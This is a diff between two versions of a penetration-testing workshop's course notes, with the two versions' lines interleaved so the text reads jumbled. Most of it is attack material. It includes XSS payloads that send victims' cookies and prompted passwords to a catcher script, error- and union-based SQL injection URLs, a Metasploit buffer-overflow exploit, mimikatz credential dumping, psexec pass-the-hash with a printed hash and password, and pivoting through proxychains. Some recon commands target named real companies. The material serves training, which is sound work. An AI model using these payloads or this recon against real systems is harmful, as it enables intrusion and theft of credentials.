View difference between Paste ID: PsGH4uK2 and QBXxGZPZ

-##################################################
+
-# Advanced Pentesting High Security Environments #
+# Pentester Night School 2016  #
-# By Joe McCray                                  #
+# By Joe McCray                #
-##################################################
+
 
 
 ##########
 # VMWare #
 ##########
 - For this workshop you'll need the latest version of VMWare Workstation (Windows), Fusion (Mac), or Player.
 
 - Although you can get the VM to run in VirtualBox, I will not be supporting this configuration for this class.
 
 
 ##########################
-- A 30-day trial of Workstation 11 can be downloaded from here:
+
-- https://my.vmware.com/web/vmware/info/slug/desktop_end_user_computing/vmware_workstation/11_0
+
 
-- A 30-day trial of Fusion 7 can be downloaded from here:
+VM for these labs
-- https://my.vmware.com/web/vmware/info/slug/desktop_end_user_computing/vmware_fusion/7_0
+-----------------
 https://s3.amazonaws.com/StrategicSec-VMs/StrategicsecUbuntu-v3.zip
-- The newest version of VMWare Player can be downloaded from here:
+
-- https://my.vmware.com/web/vmware/free#desktop_end_user_computing/vmware_player/7_0
+
 
 ---------------------------------------------------------------------------------------------------------------------------------
 
 
 
 
 
 ################################
-https://s3.amazonaws.com/StrategicSec-VMs/StrategicsecUbuntu14.zip
+# Tactical Pentest Methodology #
 ################################
 
 The purpose of this section of the Pastebin document is to provide you with a tactical pentest plan.
 
 
-# Download the victim VMs #
+
 -=-=-=-=-=- Phase 1 -=-=-=-=-=-
-https://s3.amazonaws.com/StrategicSec-VMs/Windows7.zip
+
-user: workshop
+
-pass: password
+##########################################
 # Step 1: External Target Identification #
 ##########################################
-https://s3.amazonaws.com/StrategicSec-VMs/windows8VM.zip
+Find all of the IP ranges owned by your target company via the following websites:
-user: StrategicSec
+- https://www.robtex.com/
 - http://toolbar.netcraft.com/site_report
 
 Look for weak SSL implementations
 - https://www.ssllabs.com/ssltest/
 
-###################################
+
-# Let's start some Google Hacking #
+
-###################################
+
 #############################
-Open Firefox or Chrome and type the following into Google:
+# Step 2: Google Quick Hits #
 #############################
-inurl:service.pwd filetype:pwd
+
 Be thorough, and really look for vulnerabilities and data leakages that are relevant to what you learned while doing your OSINT work.
-filetype:cfg intext:"enable password" cisco
+
 
-	Found this site: http://www.opus1.com/nac/lv06configs/nap_lkdwncisco3550.cfg
+Really good google dorks to use:
 site:yourtarget.com filetype:pcf
-	Then we searched for 'cisco password 7 cracker online' and found this site:
+site:yourtarget.com filetype:ica
-	http://www.ibeast.com/content/tools/ciscopassword/
+
 1. Footholds:
-	We pasted in this hash '06080E22424F0A4953'
+-------------
 https://www.exploit-db.com/google-hacking-database/?action=search&ghdb_search_cat_id=1&ghdb_search_text=
-We then searched for 'GHDB' and found this site:
+
 Be sure to use 'site:yourtarget.com' [ google dork for the site above ]
 
-Then we learned the 'site:' Google search operator. You can use like this to target your GHDB query:
+
 2. Passwords:
-site:secureninja.com inurl:service.pwd filetype:pwd
+-------------
 https://www.exploit-db.com/google-hacking-database/?action=search&ghdb_search_cat_id=9&ghdb_search_text=
-We decided to attack CitiGroup
+
 Be sure to use 'site:yourtarget.com' [ google dork for the site above ]
-We started by looking for Citigroup in Wikipedia.
+
-https://en.wikipedia.org/wiki/Citigroup
+
 3. Sensitive Directories:
-We figured out that they are public, not private. We also wanted to know key people, and subsidiaries (for potential social engineering).
+-------------------------
 https://www.exploit-db.com/google-hacking-database/?action=search&ghdb_search_cat_id=3&ghdb_search_text=
 
-Next we went to https://www.robtex.com/ and searched for CitiGroup.com - we came up with https://www.robtex.com/en/advisory/dns/com/citigroup/
+Be sure to use 'site:yourtarget.com' [ google dork for the site above ]
 
 
-The next website that we went to was:
+
-http://toolbar.netcraft.com/site_report/
+
 Make sure that you do at least 50-100 different Google dorks. Do no less than 10 dorks per category.
-http://toolbar.netcraft.com/site_report/?url=citigroup.com
+
 
-We found out that they are using a Citrix Netscaler Load Balancer.
+
-192.193.103.222 	Citrix Netscaler
+
-192.193.219.58
+# Step 3: Compromise Data #
 ###########################
-site:citigroup.com filetype:pcf
+Look to see if they have already been breached
-site:citigroup.com filetype:ica
+
-site:citigroup.com filetype:doc
+Search for the target company (and their major competitors) in the Data Breach Database
-site:citigroup.com filetype:xls
+http://www.privacyrights.org/data-breach
-site:citigroup.com filetype:pdf
+
 Place targetgcompany.com in the search box of the link below to look known breaches
-Then we installed the Firefox Addon called Passive Recon:
+http://zone-h.com/search
-https://addons.mozilla.org/en-us/firefox/addon/passiverecon/
+
 Replace targetgcompany.com with your target domain name to look for known XSS vulnerabilities in the site.
-Next we looked at an OSINT report:
+http://xssed.com/search?key=targetcompany.com
 
 
 
 ##############################
 # Step 4: Build OSINT Report #
 ##############################
 
 Passive Recon
 -------------
 Install this add-on and enumerate as much info as possible
-########################################
+- https://addons.mozilla.org/en-US/firefox/addon/passiverecon/
-# Boot up the StrategicSec Ubuntu host #
+
-########################################
+
 Next we build at an OSINT report with the data gleaned from the previous steps:
-- Log in to your Ubuntu host with the following credentials:
+
-	user: strategicsec
+
-	pass: strategicsec
+
 
 ---------------------------------------------------------------------------------------------------------------------------------
 
-- I prefer to use Putty to SSH into my Ubuntu host on pentests and I'll be teaching this class in the same manner that I do pentests.
+-=-=-=-=-=- Phase 2 -=-=-=-=-=-
-- You can download Putty from here:
+
-- http://the.earth.li/~sgtatham/putty/latest/x86/putty.exe
+
 ##########################
 
-- For the purpose of this workshop my Win7 VM IP address is: 192.168.153.129 so anytime you see that IP you'll know that's my Win7 VM
+VM for these labs
-- 192.168.153.159 is my Ubuntu IP address so anytime you see that IP you'll know that's my Ubuntu host
+-----------------
 https://s3.amazonaws.com/StrategicSec-VMs/StrategicsecUbuntu-v3.zip
-###################################################
+
-# Day 1: Identifying External Security Mechanisms #
+
-###################################################
+
 
 ############################################
 # Identifying External Security Mechanisms #
 ############################################
 
 sudo /sbin/iptables -F
      strategicsec
 
 cd /home/strategicsec/toolz
 
-perl blindcrawl.pl -d motorola.com
+
 
 ###########################
 # Target IP Determination #
 ###########################
 cd /home/strategicsec/toolz
-fierce -dns motorola.com
+perl blindcrawl.pl -d targetgcompany.com
 
 -- Take each IP address and look ip up here:
-Zone Transfer fails on most domains, but here is an example of one that works:
+
-dig axfr heartinternet.co.uk  @ns.heartinternet.co.uk
+
 cd ~/toolz/fierce2
 fierce -dns targetgcompany.com
 cd ..
 
 
 
 cd ~/toolz/
 ./ipcrawl 148.87.1.1 148.87.1.254                               (DNS forward lookup against an IP range)
 
-sudo nmap -p 443,444,8443,8080,8088 --script=ssl-cert --open 148.87.1.0-255             Reference: http://blog.depthsecurity.com/2012/01/obtaining-hostdomain-names-through-ssl.html
+
 sudo nmap -sL 148.87.1.0-255
      strategicsec
 
 sudo nmap -sL 148.87.1.0-255 | grep oracle
      strategicsec
 
 
-Here are some options to use for identifying load balancers:
+sudo nmap -p 443,444,8443,8080,8088 --script=ssl-cert --open 148.87.1.0-255
-        - news.netcraft.com
+     strategicsec
-        - Firefox LiveHTTP Headers
+
 Reference:
 http://blog.depthsecurity.com/2012/01/obtaining-hostdomain-names-through-ssl.html
-Here are some command-line options to use for identifying load balancers:
+
 
 
 ###########################
 # Load Balancer Detection #
-./lbd-0.1.sh google.com
+
  Here are some command-line options to use for identifying load balancers:
 
-halberd microsoft.com
+
-halberd motorola.com
+
-halberd oracle.com
+
 ./lbd-0.1.sh targetgcompany.com
 
 
 halberd targetgcompany.com
 
 
 
-python wafw00f.py http://www.oracle.com
+
-python wafw00f.py http://www.strategicsec.com
+
 ######################################
 
 cd ~/toolz/wafw00f
-sudo nmap -p 80 --script http-waf-detect.nse oracle.com
+python wafw00f.py http://www.targetgcompany.com
 
-sudo nmap -p 80 --script http-waf-detect.nse healthcare.gov
+
 sudo nmap -p 80 --script http-waf-detect.nse targetgcompany.com
      strategicsec
 
 sudo nmap -p 80 --script http-waf-detect.nse targetgcompany.com
-#######################################################
+     strategicsec
-# Day 1: 3rd Party Scanning, and scanning via proxies #
+
-#######################################################
+
 ---------------------------------------------------------------------------------------------------------------------------------
-https://www.shodan.io
+
 -=-=-=-=-=- Phase 3 -=-=-=-=-=-
-        Create a FREE account and login
+Let's have you connect to the VPN. I wanted to make sure that I did some of the stuff on my local virtual machines because I want you to do the hunting for vulnerable hosts to attack. If I attack the live targets in the lab then I'll end up giving away a lot of the little secrets that I want you to discover.
 
-        net:129.188.8.0/24
+So, let's start with some lab fun (just a little bit)...lol. Here are the instructions for connecting to the VPN:
 https://s3.amazonaws.com/StrategicSec-Files/Strategic-Security-2016-VPN-Info.pdf
 
 sudo nmap -sP 10.0.0.0/24
-cd /home/strategicsec/toolz/
+
-perl proxyfinder-0.3.pl multiproxy 3 proxies.txt        <-- This takes a long time to run
+sudo nmap -sL 10.0.0.0/24
 
 cd ~/toolz
 
-sudo vi /etc/proxychains.conf                           <--- Make sure that last line of the file is: ocks4  127.0.0.1 9050
+wget --no-check-certificate https://raw.githubusercontent.com/BenDrysdale/ipcrawl/master/ipcrawl.c
 
 gcc ipcrawl.c -o ipcrawl
 
 chmod 777 ipcrawl
-----------------------------------------------------------------------
+
-vi ~/toolz/fix-proxychains-dns.sh
+./ipcrawl 10.0.0.1 10.0.0.254
 
 
-# This script is called by proxychains to resolve DNS names
+
-# DNS server used to resolve names
+wget --no-check-certificate https://dl.packetstormsecurity.net/UNIX/scanners/propecia.c
-# Reference: http://carnal0wnage.attackresearch.com/2013/09/changing-proxychains-hardcoded-dns.html
+
-DNS_SERVER=4.2.2.2
+gcc propecia.c propecia
 
-if [ $# = 0 ] ; then
+sudo cp propecia /bin
-echo " usage:"
+
-echo " proxyresolv <hostname> "
+propecia 10.0.0 22
-exit
+
-fi
+propecia 10.0.0 3389
 
-export LD_PRELOAD=libproxychains.so.3
+nmap -Pn -sV -T 5 -oG - -p 21,22,80,443,1433,3389 10.0.0.* | grep open
-dig $1 @$DNS_SERVER +tcp | awk '/A.+[0-9]+\.[0-9]+\.[0-9]/{print $5;}'
+
------------------------------------------------------------------------
+nmap -Pn -sV -T 5 -oG - -p 21,22,80,443,1433,3389 10.0.0.* | awk '/open/{print $2 " " $3}'
 
 nmap -Pn -sV -T 5 -oG - -p 21,22,80,443,1433,3389 10.0.0.* | awk '/open/{print $2}' | wc -l
-sudo ntpdate pool.ntp.org
+
 nmap -Pn -sV -T 5 -oG - -p 21,22,80,443,1433,3389 10.0.0.* | awk '/open/{print $2}'
-tor-resolve strategicsec.com
+
 nmap -Pn -sV -T 5 -oG - -p 21,22,80,443,1433,3389 10.0.0.* | awk '/open/{print $2}' > ~/labnet-ip-list.txt
-proxychains nmap -sT -p80 52.11.62.192
+
 cd ~/toolz
-proxychains nmap -sT -PN -n -sV -p 21,22,23,25,80,110,139,443,445,1433,1521,3306,3389,8080,10000 52.11.62.192
+wget http://wkhtmltopdf.googlecode.com/files/wkhtmltoimage-0.11.0_rc1-static-i386.tar.bz2
 tar -jxvf wkhtmltoimage-0.11.0_rc1-static-i386.tar.bz2
 sudo cp wkhtmltoimage-i386 /usr/local/bin/
-If you want to block tor exit nodes you get a list from here:
+
-http://rules.emergingthreats.net/blockrules/emerging-tor-BLOCK.rules
+git clone git://github.com/SpiderLabs/Nmap-Tools.git
 cd Nmap-Tools/NSE/
-You probably should also block things like:
+sudo cp http-screenshot.nse /usr/share/nmap/scripts/
-http://rules.emergingthreats.net/blockrules/emerging-rbn-BLOCK.rules                    <----- Russian Business Network IPs
+sudo nmap --script-updatedb
-http://rules.emergingthreats.net/blockrules/emerging-botcc.rules                        <----- BotNet Command and Control Servers
+
-http://rules.emergingthreats.net/blockrules/emerging-rbn-malvertisers-BLOCK.rules       <----- Malware Advertisers
+
 mkdir labscreenshots
-Here is where you can download the perl script to automatically update your firewall each day (create a cron job for it).
+cd labscreenshots/
-http://doc.emergingthreats.net/bin/view/Main/EmergingFirewallRules
+
 sudo nmap -Pn -T 5 -p 80 -A --script=http-screenshot 10.0.0.0/24 -iL /home/strategicsec/labnet-ip-list.txt
 
 
 
 
 vi screenshots.sh
-##################################
+
-# Basic: Web Application Testing #
+
-##################################
+printf "<HTML><BODY><BR>" > labnet-port-80-screenshots.html
 ls -1 *.png | awk -F : '{ print $1":"$2"\n<BR><IMG SRC=\""$1"%3A"$2"\" width=400><BR><BR>"}' >> labnet-port-80-screenshots.html
 printf "</BODY></HTML>" >> labnet-port-80-screenshots.html
-The basics of web app pentesting
+
 
-Start with simple firefox addons:
+
 
-- ShowIP			https://addons.mozilla.org/en-US/firefox/addon/showip/
+
-- Server Spy			https://addons.mozilla.org/en-US/firefox/addon/server-spy/
+sh screenshots.sh
-- FoxyProxy			https://addons.mozilla.org/en-US/firefox/addon/foxyproxy-standard/
+
-- Tamper Data			https://addons.mozilla.org/en-US/firefox/addon/tamper-data/
+
 
-A good list of web app testing add ons for Firefox:
+
-https://addons.mozilla.org/en-us/firefox/collections/adammuntner/webappsec/
+
 # Nmap NSE tricks to try #
 ##########################
-The key to doing a Web App Assessment is to ask yourself the 3 web questions on every page in the site.
+sudo nmap -Pn -n --open -p21 --script=banner,ftp-anon,ftp-bounce,ftp-proftpd-backdoor,ftp-vsftpd-backdoor 10.0.0.0/24
 
-	1. Does the website talk to a DB?
+sudo nmap -Pn -n --open -p22 --script=sshv1,ssh2-enum-algos 10.0.0.0/24
-		- Look for parameter passing (ex: site.com/page.php?id=4)
+
-		- If yes - try SQL Injection
+sudo nmap -Pn -n -sU --open -p53 --script=dns-blacklist,dns-cache-snoop,dns-nsec-enum,dns-nsid,dns-random-srcport,dns-random-txid,dns-recursion,dns-service-discovery,dns-update,dns-zeustracker,dns-zone-transfer 10.0.0.0/24
 
-	2. Can I or someone else see what I type?
+sudo nmap -Pn -n --open -p111 --script=nfs-ls,nfs-showmount,nfs-statfs,rpcinfo 10.0.0.0/24
-		- If yes - try XSS
+
 sudo nmap -Pn -n --open -p445 --script=msrpc-enum,smb-enum-domains,smb-enum-groups,smb-enum-processes,smb-enum-sessions,smb-enum-shares,smb-enum-users,smb-mbenum,smb-os-discovery,smb-security-mode,smb-server-stats,smb-system-info,smbv2-enabled,stuxnet-detect 10.0.0.0/24
-	3. Does the page reference a file?
+
-		- If yes - try LFI/RFI
+sudo nmap -Pn -n --open -p1433 --script=ms-sql-dump-hashes,ms-sql-empty-password,ms-sql-info 10.0.0.0/24
 
-Let's start with some manual testing against 54.149.82.150 in the lab network.
+sudo nmap -Pn -n --open -p1521 --script=oracle-sid-brute --script oracle-enum-users --script-args oracle-enum-users.sid=ORCL,userdb=orausers.txt 10.0.0.0/24
 
 sudo nmap -Pn -n --open -p3306 --script=mysql-databases,mysql-empty-password,mysql-info,mysql-users,mysql-variables 10.0.0.0/24
-Start here:
+
-http://54.149.82.150/
+sudo nmap -Pn -n --open -p3389 --script=rdp-vuln-ms12-020,rdp-enum-encryption 10.0.0.0/24
 
 sudo nmap -Pn -n --open -p5900 --script=realvnc-auth-bypass,vnc-info 10.0.0.0/24
-There's no parameter passing on the home page so the answer to question 1 is NO.
+
-There is however a search box in the top right of the webpage, so the answer to question 2 is YES.
+sudo nmap -Pn -n --open -p6000-6005 --script=x11-access 10.0.0.0/24
 
-Try an XSS in the search box on the home page:
+sudo nmap -Pn -n --open -p27017 --script=mongodb-databases,mongodb-info 10.0.0.0/24
-<script>alert(123);</script>
+
 
-Doing this gives us the following in the address bar:
+
-http://54.149.82.150/BasicSearch.aspx?Word=<script>alert(123);</script>
+
 ####################################
-Ok, so we've verified that there is XSS in the search box.
+# Finally, let's exploit something #
 ####################################
-Let's move on to the search box in the left of the page.
+
 nmap -Pn -sV -T 5 -oG - -p 80,8080 10.0.0.* | awk '/open/{print $2}'
-Let's give the newsletter signup box a shot
+
 nmap -Pn -sV -T 5 -p 80,8080 10.0.0.15
 
 	https://www.exploit-db.com/search
 
-###################################################################
+	Search for:
-# What is XSS                                                     #
+	Savant httpd 3.1
-# https://s3.amazonaws.com/StrategicSec-Files/2-Intro_To_XSS.pptx #
+	Apache httpd 2.0.58 ((Win32))
-###################################################################
+
 
-OK - what is Cross Site Scripting (XSS)
+	Found one written in Python:
 	https://www.exploit-db.com/exploits/18401/
-1. Use Firefox to browse to the following location:
+
 	Found one for Savant 3.1 from Metasploit:
-	http://54.186.248.116/xss_practice/
+	https://www.exploit-db.com/exploits/16770/
 
-	A really simple search page that is vulnerable should come up.
+
 
 cd ~/toolz/metasploit
 ./msfconsole
 use exploit/windows/http/savant_31_overflow
-2. In the search box type:
+set RHOST 10.0.0.15
 set PAYLOAD windows/meterpreter/bind_nonx_tcp
-	<script>alert('So this is XSS')</script>
+set RPORT 80
 set LPORT 7777
 exploit
-	This should pop-up an alert window with your message in it proving XSS is in fact possible.
+
-	Ok, click OK and then click back and go back to http://54.186.248.116/xss_practice/
+
 
 
-3. In the search box type:
+
 
-	<script>alert(document.cookie)</script>
+
 
 meterpreter> sysinfo
-	This should pop-up an alert window with your message in it proving XSS is in fact possible and your cookie can be accessed.
+
-	Ok, click OK and then click back and go back to http://54.186.248.116/xss_practice/
+
 meterpreter> getuid
-4. Now replace that alert script with:
+
 
-	<script>document.location="http://54.186.248.116/xss_practice/cookie_catcher.php?c="+document.cookie</script>
+
 
 
-This will actually pass your cookie to the cookie catcher that we have sitting on the webserver.
+
 
 
-5. Now view the stolen cookie at:
+
-	http://54.186.248.116/xss_practice/cookie_stealer_logs.html
+
 
 
-The cookie catcher writes to this file and all we have to do is make sure that it has permissions to be written to.
+
 
 
 meterpreter> use priv
 
 
 
-############################
+
-# A Better Way To Demo XSS #
+
-############################
+
 meterpreter > getuid
 Server username: NT AUTHORITY\SYSTEM
-Let's take this to the next level. We can modify this attack to include some username/password collection. Paste all of this into the search box.
+
 --------------------------------------------------------
 
-Use Firefox to browse to the following location:
+
 
-	http://54.186.248.116/xss_practice/
+
 
 	Got the following admin hash:
 	Administrator:500:6e0b0669e734d66b310cc3b8f65453da:8a2b05f1b6111fe3d642bb43e1c0c363:::
-Paste this in the search box
+
-----------------------------
+
 
 meterpreter > load mimikatz
-Option 1
+
---------
+
 
-<script>
+	This should give me the administrative password:
-password=prompt('Your session is expired. Please enter your password to continue',' ');
+	)K5?Jocb(Yx
-document.write("<img src=\"http://54.186.248.116/xss_practice/passwordgrabber.php?password=" +password+"\">");
+
-</script>
+
 ********************************** Enumerate the host you are on **********************************
 
-Now view the stolen cookie at:
+
-	http://54.186.248.116/xss_practice/passwords.html
+
 meterpreter > run post/windows/gather/enum_applications
 
 meterpreter > run post/windows/gather/enum_logged_on_users
-Option 2
+
---------
+
-<script>
+
-username=prompt('Please enter your username',' ');
+
-password=prompt('Please enter your password',' ');
+
-document.write("<img src=\"http://54.186.248.116/xss_practice/unpw_catcher.php?username="+username+"&password="+password+"\">");
+
-</script>
+
 meterpreter> reg enumkey -k HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Run
 
 
 ********************************** Get out of Meterpreter **********************************
-Now view the stolen cookie at:
+
-http://54.186.248.116/xss_practice/username_password_logs.html
+
 
 msf exploit(savant_31_overflow) > back
 
 msf>
 
-Moving on to the login page.
+
-http://54.149.82.150/login.aspx
+
 
-I entered a single quote (') for both the user name and the password. I got the following error:
+********************************** Lateral Movement *******************************
 
------------------------------------------------------------------
+
- 'Users//User[@Name=''' and @Password=''']' has an invalid token.
+Now we can run the PSEXEC exploit.
-Description: An unhandled exception occurred during the execution of the current web request. Please review the stack trace for more information about the error and where it originated in the code.
+
 -- Option 1:
-Exception Details: System.Xml.XPath.XPathException: 'Users//User[@Name=''' and @Password=''']' has an invalid token.
+
 
-Source Error:
+set SMBUser Administrator
 
 set SMBPass )K5?Jocb(Yx
-Line 112:            doc.Load(Server.MapPath("") + @"\AuthInfo.xml");
+
-Line 113:            string credential = "Users//User[@Name='" + UserName + "' and @Password='" + Password + "']";
+set RHOST 10.0.0.15
-Line 114:            XmlNodeList xmln = doc.SelectNodes(credential);
+
-Line 115:            //String test = xmln.ToString();
+set payload windows/meterpreter/bind_tcp
-Line 116:            if (xmln.Count > 0)
+
 set LPORT 2345
------------------------------------------------------------------
+
 exploit
 
-Hmm....System.Xml.XPath.XPathException.....that's not SQL.
+********************************** Get out of Meterpreter **********************************
 
-WTF is this:
+
-Line 112:            doc.Load(Server.MapPath("") + @"\AuthInfo.xml");
+
 msf exploit(psexec) >back
 
-Let's check it out:
+msf>
-http://54.149.82.150/AuthInfo.xml
+
 **********************************
-Looks like we found passwords!!!!!!!!!!
+
 -- Option 2:
 use exploit/windows/smb/psexec
-Looks like there no significant new functionality after logging in with the stolen credentials.
+
 set SMBUser Administrator
-Going back to the homepage...let's see if we can see anything. Figured I'd click on one of the links
+
 set SMBPass 6e0b0669e734d66b310cc3b8f65453da:8a2b05f1b6111fe3d642bb43e1c0c363
 
-http://54.149.82.150/bookdetail.aspx?id=2
+set payload windows/meterpreter/bind_tcp
 
 set RHOST 10.0.0.15
-Ok, there is parameter passing (bookdetail.aspx?id=2).
+
 set LPORT 5678
-The page name is:		bookdetail.aspx
+
-The parameter name is:		id
+
-The paramber value is:		2
+
 
 
-Let's try throwing a single quote (') in there:
+
 
-http://54.149.82.150/bookdetail.aspx?id=2'
+
                                                         <-- background the session
         You want to get back to this prompt:
-I get the following error:
+        msf exploit(handler) > back                     <--- you need to get to main msf> prompt
 
-Unclosed quotation mark after the character string ''.
+
-Description: An unhandled exception occurred during the execution of the current web request. Please review the stack trace for more information about the error and where it originated in the code.
+
         sessions -l                                     <--find a session you want to pivot through (note the IP and session number)
-Exception Details: System.Data.SqlClient.SqlException: Unclosed quotation mark after the character string ''.
+
         Now set up Pivot with a route add
         ---------------------------------
 
-#############################################################################
+route print												<--- should be blank
-# SQL Injection                                                             #
+
-# https://s3.amazonaws.com/StrategicSec-Files/1-Intro_To_SQL_Intection.pptx #
+route add 10.0.0.15 255.255.255.0 1                       <-- Use correct session id (2), it may be 3, or 4 (make sure you are on msf> prommpt, not meterpreter)
-#############################################################################
+
 
 route print                                             <----- verify new route
-- Another quick way to test for SQLI is to remove the paramter value
+
 ******************************Scan through your Pivot ******************************
 
 use auxiliary/scanner/portscan/tcp                      <-- Run aux modules through your pivot
-# Error-Based SQL Injection #
+
 set THREADS 10
-http://54.149.82.150/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(0))--
+
-http://54.149.82.150/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(1))--
+set RHOSTS 10.0.0.0/24             <-- Keep changing this IP and re-running the scan until you find something you want to attack
-http://54.149.82.150/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(2))--
+
-http://54.149.82.150/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(3))--
+set PORTS 445
-http://54.149.82.150/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(4))--
+
-http://54.149.82.150/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(N))-- 	NOTE: "N" - just means to keep going until you run out of databases
+
-http://54.149.82.150/bookdetail.aspx?id=2 or 1 in (select top 1 name from sysobjects where xtype=char(85))--
+
-http://54.149.82.150/bookdetail.aspx?id=2 or 1 in (select top 1 name from sysobjects where xtype=char(85) and name>'bookmaster')--
+
-http://54.149.82.150/bookdetail.aspx?id=2 or 1 in (select top 1 name from sysobjects where xtype=char(85) and name>'sysdiagrams')--
+####################################
 # Socks Tunneling with Proxychains #
 ####################################
 --- Open a duplicate putty session to your Ubuntu host
 
 sudo apt-get install -y proxychains
-# Union-Based SQL Injection #
+    strategicsec
 
-http://54.149.82.150/bookdetail.aspx?id=2 order by 100--
+sudo vi /etc/proxychains.conf                           <--- Make sure that last line of the file is: socks4  127.0.0.1 1080
-http://54.149.82.150/bookdetail.aspx?id=2 order by 50--
+
-http://54.149.82.150/bookdetail.aspx?id=2 order by 25--
+        Comment out the proxy_dns, change the 9050 (tor port) to the metasploit socks proxy port (1080) and save it.
-http://54.149.82.150/bookdetail.aspx?id=2 order by 10--
+        socks4  127.0.0.1 1080
-http://54.149.82.150/bookdetail.aspx?id=2 order by 5--
+
-http://54.149.82.150/bookdetail.aspx?id=2 order by 6--
+***************************Set up a Socks Proxy through your Pivot *************************
-http://54.149.82.150/bookdetail.aspx?id=2 order by 7--
+
-http://54.149.82.150/bookdetail.aspx?id=2 order by 8--
+
-http://54.149.82.150/bookdetail.aspx?id=2 order by 9--
+
-http://54.149.82.150/bookdetail.aspx?id=2 union all select 1,2,3,4,5,6,7,8,9--
+
 set SRVHOST 127.0.0.1
-	We are using a union select statement because we are joining the developer's query with one of our own.
+
-	Reference:
+
-	http://www.techonthenet.com/sql/union.php
+
-	The SQL UNION operator is used to combine the result sets of 2 or more SELECT statements.
+
-	It removes duplicate rows between the various SELECT statements.
+
         --- Go back to your other putty session with the meterpreter shell
-	Each SELECT statement within the UNION must have the same number of fields in the result sets with similar data types.
+
 
-http://54.149.82.150/bookdetail.aspx?id=-2 union all select 1,2,3,4,5,6,7,8,9--
+proxychains nmap -sT -PN -vv -sV --script=smb-os-discovery.nse -p 445 192.168.153.0/24          <--- This is going to be really slow
 
-	Negating the paramter value (changing the id=2 to id=-2) will force the pages that will echo back data to be displayed.
+proxychains nmap -sT -PN -n -sV -p 21,22,23,25,80,110,139,443,1433,1521,3306,3389,8080,10000 10.0.0/24           <--- This is going to be really slow
 
-http://54.149.82.150/bookdetail.aspx?id=-2 union all select 1,user,@@version,4,5,6,7,8,9--
+
-http://54.149.82.150/bookdetail.aspx?id=-2 union all select 1,user,@@version,@@servername,5,6,7,8,9--
+        ---close the duplicate putty session to your Ubuntu host